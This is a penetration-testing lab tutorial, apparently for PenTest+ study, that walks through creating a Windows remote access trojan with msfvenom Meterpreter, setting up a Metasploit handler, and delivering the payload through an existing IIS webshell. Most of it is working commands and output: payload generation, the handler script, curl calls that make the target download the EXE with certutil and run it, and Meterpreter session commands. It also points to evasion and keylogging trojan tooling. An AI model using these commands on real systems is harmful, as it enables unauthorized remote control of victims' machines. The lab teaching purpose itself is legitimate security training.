| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | metasploit-framework 6.4.135-0kali1 (msfvenom, msfconsole) |
| Lab environment | Proxmox lab |
| Cert prep | CompTIA PenTest+ PT0-003 — Domain 4 (Host-based attacks; payload obfuscation context) |
| Privilege | Kali user with Metasploit installed; command execution on the Windows target (IIS upload shell or equivalent foothold) |
| Scope | How to create a Windows RAT with an msfvenom Windows Meterpreter payload, exploit/multi/handler listener setup, lab delivery, Meterpreter callback verification, and staged vs stageless matching. Does not cover persistence, full Metasploit module workflow, lateral movement, or production AV bypass — those are separate lessons. |
| Related guides | Metasploit tutorial |
You need command execution on a Windows host before this walkthrough starts — on GOAD-Light that is the IIS upload shell from Obtain the IIS upload shell on castelblack in the Windows privilege escalation lesson. From Kali you will:
- build a Windows EXE with
msfvenom - start a Metasploit
multi/handlerlistener - copy the EXE to the target and run it
- confirm a Meterpreter callback in
msfconsole
A remote access trojan (RAT) gives you an interactive command-and-control (C2) channel while its implant process is running. It does not automatically survive reboot, logoff, or process exit — persistence is a separate step and is not covered here.
Set lab variables once on Kali so you can paste the same values into msfvenom, the handler, and delivery commands:
TARGET— Windows host IP (castelblackon GOAD-Light)KALI_IP— Kali on the attack network (vmbr1, not the management NIC)LPORT— TCP port for the callback (must match on payload and handler)SHELL— existing webshell URL used to run commands on the target
export TARGET=10.10.10.22
export KALI_IP=10.10.10.10
export LPORT=4444
export SHELL="http://${TARGET}/upload/cmd.aspx?cmd="Windows RAT quick start
If you're looking for how to make a remote access trojan for a Windows lab, the basic workflow is payload → listener → execution → callback.
The lab chain on castelblack looks like this:
msfvenom EXE → stage on Kali HTTP → target downloads and runs → Meterpreter callback to handlerIn order:
- Generate
windows/x64/meterpreter/reverse_tcpwithmsfvenom(KALI_IP+LPORT). - Confirm staged vs stageless — this lab uses the staged
/reverse_tcpform. - Start
exploit/multi/handlerinmsfconsolewith the same payload family and transport. - Serve the EXE from Kali on
vmbr1, pull it onto the target (certutilthrough the IIS shell), and run it. - Look for
Meterpreter session … openedon the handler, then attach withsessions -i 1.
The sections below walk through each step, explain how a Windows RAT callback works, and cover common connection failures.
How does a Windows remote access trojan (RAT) work?
A remote access trojan (RAT) is malware — or a lab payload that behaves like malware — that lets an operator control a victim host remotely.
The callback chain you build in this lab:
- Payload runs on the Windows target (your
msfvenomEXE). - Target calls back to Kali (
LHOST/LPORT). - Handler accepts the connection (
exploit/multi/handler). - You get Meterpreter — an interactive session for commands, files, and post modules.
Common terms:
- Implant (client) — the EXE on the victim; runs commands and sends output back.
- Listener (server) —
msfconsolewaiting on Kali for inbound connections. - Staging (optional) — a small stager downloads the full Meterpreter stage after the first connect (staged payloads only).
On GOAD-Light, traffic stays on isolated vmbr1 (10.10.10.0/24). Kali listens on 10.10.10.10; castelblack at 10.10.10.22 opens the outbound TCP connection — normal for a reverse TCP payload.
Compared with a one-shot reverse shell:
| Trait | Basic reverse shell | Meterpreter |
|---|---|---|
| Session model | Basic command stream | Meterpreter session with extensions and structured capabilities |
| Capabilities | Command shell | File transfer, extensions, session management, post modules |
| Detection | Lower footprint | Higher — staged Meterpreter is widely signatured |
In penetration-testing labs, “create a RAT” is often used loosely for building an implant that phones home for interactive control. msfvenom plus Meterpreter is the standard teaching path because it mirrors commercial C2 callbacks without writing a custom loader first.
Create a Windows Meterpreter payload with msfvenom
msfvenom ships with Metasploit on Kali. Create a directory for lab artifacts and build a 64-bit msfvenom Meterpreter payload as a Windows EXE:
mkdir -p ~/rat-lab && cd ~/rat-labPoint LHOST at Kali on the attack interface (vmbr1), not the management NIC:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="${KALI_IP}" LPORT="${LPORT}" -f exe -o goad-shell.exeLHOST is the Kali address the Windows target can reach on your lab network. LPORT is the TCP port the implant will call back to — the same value must appear in the handler you start next.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: goad-shell.exeIn this tested Metasploit build, the generated stager was 509 bytes and the packaged EXE was 7,680 bytes. Sizes vary between Framework releases — treat the msfvenom output as version-specific, not fixed constants. msfvenom chose x64 automatically from the payload name; on 32-bit lab targets you would swap to windows/meterpreter/reverse_tcp.
Confirm the file type before you stage it:
file goad-shell.exegoad-shell.exe: PE32+ executable for MS Windows 4.00 (GUI), x86-64, 5 sectionsA PE32+ label confirms a 64-bit Windows GUI-subsystem executable — what you expect for castelblack.
Staged vs stageless Meterpreter
Metasploit payload names tell you how the implant is packaged:
| Form | Name pattern | What happens |
|---|---|---|
| Staged | meterpreter/reverse_tcp (slash) |
Small EXE; full stage downloads after connect |
| Stageless | meterpreter_reverse_tcp (underscore) |
Entire implant in one file |
This lab uses the staged form (windows/x64/meterpreter/reverse_tcp). Configure the handler with the same payload family and transport as msfvenom -p. A staged/stageless mismatch can prevent the expected Meterpreter session from establishing correctly.
For HTTPS callbacks, swap both sides to reverse_https and use LPORT=443 — only if nothing else on Kali already binds that port.
Start the Metasploit multi/handler
The handler is the listener on Kali that waits for the Windows implant to call back. exploit/multi/handler is the standard Metasploit module for catching reverse payloads.
Use the same staged payload you generated above — windows/x64/meterpreter/reverse_tcp in this lab. Do not swap in a stageless handler for a staged EXE.
Save a small resource script so you can restart the listener quickly:
cat > handler.rc <<RC
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ${KALI_IP}
set LPORT ${LPORT}
set ExitOnSession false
exploit -j
RCExitOnSession false keeps the listener running after the first callback — useful when you re-run the implant during lab practice.
Start the handler in a dedicated terminal:
msfconsole -q -r handler.rc[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => 10.10.10.10
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:4444Started reverse TCP handler means Kali is listening on vmbr1. Leave this msfconsole window open for the whole delivery step.
Deliver and run the Meterpreter payload
Delivery needs three things running at once on Kali:
- Terminal 1 —
msfconsolehandler (from the previous section) - Terminal 2 —
python3 -m http.serverservinggoad-shell.exe - Terminal 3 —
curlcommands that talk to the webshell oncastelblack
This lab uses the IIS upload shell at /upload/cmd.aspx from Obtain the IIS upload shell on castelblack. If your shell path differs, change SHELL in the variables block above.
First confirm the shell still responds:
curl -s "${SHELL}whoami"<pre>iis apppool\defaultapppool
</pre>Serve the payload from Kali on the attack interface in a second terminal:
cd ~/rat-lab
python3 -m http.server 8080 --bind "${KALI_IP}"python3 -m http.server prints access lines when the target downloads the file — leave it running until delivery finishes.
Pull the EXE onto the target with certutil through the webshell:
curl -s "${SHELL}certutil%20-urlcache%20-split%20-f%20http://${KALI_IP}:8080/goad-shell.exe%20C:\Windows\Temp\goad-shell.exe"<pre>**** Online ****
0000 ...
1e00
CertUtil: -URLCache command completed successfully.
</pre>CertUtil: -URLCache command completed successfully means the file landed in C:\Windows\Temp\.
Launch the implant in the background so the webshell request does not hang:
curl -s --max-time 5 "${SHELL}start%20/b%20C:\Windows\Temp\goad-shell.exe" || trueThe curl timeout is normal — the handler terminal is where you confirm success.
Switch back to the msfconsole handler window. Within a few seconds you should see staging and a new session:
[*] Sending stage (248902 bytes) to 10.10.10.22
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 10.10.10.22:53958) at 2026-08-31 17:54:20 +0000Meterpreter session 1 opened is the proof point — the Windows RAT callback succeeded from castelblack to Kali.
Interact with the Meterpreter session
List active sessions from the same msfconsole instance that caught the callback:
sessions -lYou should see session 1 with type meterpreter x64/windows and the 10.10.10.10:4444 -> 10.10.10.22 connection string.
Attach to the session:
sessions -i 1Inside Meterpreter, confirm which account launched the implant:
getuidgetuid prints the user context the payload inherited — in this lab that is iis apppool\defaultapppool, matching the IIS upload foothold.
Pull OS build and architecture details for your report notes:
sysinfosysinfo lists computer name, OS version, and architecture — useful evidence alongside the session timestamp from msfconsole.
Useful follow-on commands for reporting (run only inside your authorized lab):
| Command | What it tells you |
|---|---|
getprivs |
Token privileges available to the implant |
pwd / ls |
Current directory listing on the victim |
upload / download |
File transfer through the C2 channel |
background |
Return to msfconsole without killing the session |
When you finish, exit from Meterpreter and remove lab artifacts (goad-shell.exe on Kali and C:\Windows\Temp\goad-shell.exe on the target).
Detection, Defender, and evasion context
Default msfvenom Meterpreter binaries are useful in isolated labs — and they are noisy on patched Windows with Defender enabled. Expect:
- Static signatures on the stager and stage DLL
- Behavioral alerts on
VirtualAlloc+ outbound callback patterns - Network detection on well-known Metasploit ports if you reuse
4444on every exercise
PenTest+ Domain 4 treats payload obfuscation and security-tool circumvention as separate skills. For encoding or injection beyond this baseline, see the Shellter encoded-payload lesson or the TechnoLogger payload builder when you need a custom trojan with keylogging and binder options.
After a successful callback, note the payload type, LHOST/LPORT, getuid context, session timestamp, and whether Defender blocked staging — useful for lab reports and client deliverables.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Handler starts but no session | Staged/stageless or transport mismatch | Use the same payload family on both sides (meterpreter/reverse_tcp vs meterpreter_reverse_tcp) |
Handler failed to bind |
Port already in use | ss -tlnp | grep 4444; pick a new LPORT on both sides |
certutil fails on target |
No outbound HTTP to Kali | Confirm python3 -m http.server binds to 10.10.10.10, not 127.0.0.1 |
| Session opens then dies | Defender quarantined the stage | Expected on some hosts — note in report; try stageless or evasion lesson |
| Wrong architecture | 32-bit payload on 64-bit host (or reverse) | Use windows/x64/... on modern GOAD members |
Summary
You created a Windows RAT in an authorized lab: an msfvenom Windows Meterpreter payload, a matching exploit/multi/handler listener on Kali, delivery through an existing castelblack foothold, and verification of an outbound Meterpreter callback. That sequence — implant, listener, staging, session — is the same shape commercial crimeware RATs use, even when the tooling changes.
The main lab gotcha is pairing staged payloads with staged handlers. A one-character difference between meterpreter/reverse_tcp and meterpreter_reverse_tcp leaves you staring at an empty sessions -l list while the target process exits. Binding the listener to the wrong Kali interface is the other frequent miss on dual-NIC Proxmox labs — always use 10.10.10.10 on vmbr1 for GOAD traffic.
Default Meterpreter EXEs are teaching tools, not engagement-grade evasion. Treat Defender blocks as a finding and document them. For module search and session management beyond the handler, continue with the Metasploit tutorial; for privilege escalation after the callback lands, see the Windows privilege escalation lesson. Custom trojan builders (TechnoLogger) and encoded injection (Shellter) are separate lessons when the syllabus moves past basic msfvenom creation.
References
- Metasploit Framework documentation
- msfvenom — Metasploit Unleashed
- MITRE ATT&CK — Command and Control
- MITRE ATT&CK — Ingress Tool Transfer (T1105)
Frequently Asked Questions
What is the difference between a RAT and Meterpreter?
RAT is the broader malware and C2 concept — an implant that phones home for remote control. Meterpreter is Metasploit's advanced post-exploitation payload, not a standalone RAT product. In an authorized lab it can demonstrate RAT-like remote-control behavior, but RAT and Meterpreter are not strict synonyms.
What are LHOST and LPORT in msfvenom?
LHOST is the IP address on your attacker machine that the target can reach — on GOAD-Light, that is Kali on vmbr1 (10.10.10.10), not the management NIC. LPORT is the TCP port the implant calls back to. Both values must match between msfvenom and exploit/multi/handler.
Why does my handler never receive a callback?
Check three pairs: LHOST on the payload must match the interface the target can reach; LPORT must match on both msfvenom and the handler; the payload family must match (staged vs stageless, same transport). Confirm the target process is still running and that a host firewall is not blocking outbound TCP to Kali.
Is msfvenom enough to bypass antivirus?
No. Default Meterpreter artifacts are widely signatured. They are appropriate for isolated lab VMs such as GOAD-Light. Real assessments need custom loaders, injection, or environmental keying — topics covered in separate evasion lessons, not a basic msfvenom walkthrough.
Can I use this workflow after Kerberoasting on GOAD?
Yes, once you have execution on a Windows host. Kerberoasting gives credentials; you still need a delivery path (SMB, WinRM, phishing simulation, or an existing web shell). This article uses the IIS upload shell on castelblack as the delivery vector.

